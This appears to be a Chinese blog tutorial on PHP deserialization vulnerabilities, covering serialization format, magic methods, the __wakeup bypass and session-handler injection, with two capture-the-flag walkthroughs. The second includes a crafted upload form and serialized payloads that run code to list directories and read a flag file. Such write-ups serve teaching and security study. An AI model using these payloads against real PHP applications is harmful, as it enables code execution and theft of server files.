IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php反序列化[基础] -> 正文阅读

[PHP知识库]php反序列化[基础]

基础

概述

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

serialize()函数用于序列化对象或数组,并返回一个字符串

  • 据访问修饰符不同,序列化后的属性长度和属性值会有不同
    • protected属性被序列化的时候属性值会变成%00*%00属性名
    • private属性被序列化的时候属性值会变成%00类名%00属性名

反序列化一个对象后会保存对象的所有变量,反序列化后的结果都有一个字符:

a - array               b - boolean
d - double              i - integer
o - common object       r - reference
s - string              C - custom object
O - class               N - null
R - pointer reference   U - unicode string

序列化格式:

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

魔术方法

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
  • __sleep()

    对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

    可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组

    如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

  • __wakeup

    反序列化时触发

    预先准备对象需要的资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

反序列化漏洞

  1. php在反序列化时,底层代码以“;”作为字段的分隔,根据长度判断内容

    反序列化的过程必须严格按照序列化规则才能成功实验反序列化

  2. 序列化的长度不对应时会发生报错

  3. 可以反序列化类中不存在的元素

函数绕过

logo:

  1. Unserialize()函数的参数可控
  2. php中有可以利用的类并且类中有魔幻函数

例题

eg.

<meta http-equiv="Content-Type" content = "text/html; charset=utf-8" />

<?php
class SoFun{
    protected $file = "index.php";
    public function __construct($file){
        $this->file = $file;
    }

    function __destruct()
    {
        if(!empty($this->file))
        {
            // 查找file文件中的字符串,若有“\\”和‘/’字符,就显示错误
            if(strchr($this->file,"\\") === false && strchr($this->file,"/") === false)
            {
                show_source(dirname(__FILE__).'/'.$this->file);
            }
            else{
                die("Wrong filename");
            }
        }
    }

    function __wakeup()
    {
        $this->file = 'index.php';
    }

    public function __toString()
    {
        return " ";
    }
}

if(!isset($_GET['file']))
{
    show_source('index.php');
}
else{
    $file = base64_decode($_GET['file']);
    echo unserialize($file);
}
// $test = new SoFun("flag.php");
// $s = serialize($test);
// $s[12]=2;
// echo $s;
// echo base64_encode($s);
// echo unserialize((serialize(($test))));
// 'O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}'
?>

wakeup

在__wakeup()魔术方法中,在反序列化后会自动调用__wakeup方法并将file的值置为index.php

绕过方法:序列化后的字符串,属性个数比规定个数大

  • wp:
    1. 放到本地
    2. 创建对象,并序列化,赋值给字符串
    3. str_replace函数更改属性个数:str_replace(‘1{’,‘2{’,$s)
    4. base64编码,上传

session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

  • php.ini配置:

    session.save_path 设置session的存储路径

    session.save_handler 设定用户自定义存储函数

    session.auto_start 指定会话模块是否在请求开始时启动一个会话

    session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

  • 存储机制

    php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。

  • session上传进度

    当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

例题:
http://web.jarvisoj.com:32784/index.php
提到phpinfo,先查看phpinfo
phpinfo
php版本:5.6.21
php>5.5.4的版本默认使用php_serialize规则
默认为php_serialize而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

  1. 通过post构造数据传入$_SESSION
    构造post提交表单:

    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
    
  2. 构造序列化字符串

    <?php
    class OowoO
    {
        public $mdzz='print_r(dirname(__FILE__));';
    }
    $obj = new OowoO();
    $a = serialize($obj);
    
    var_dump($a);
    

NT:需要转义,抓包把filename改为payload
最终提交为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
目录/opt/lampp/htdocs
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}继续读
然后用file_get_contents函数读flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-15 22:12:05  更:2022-03-15 22:13:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:16:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计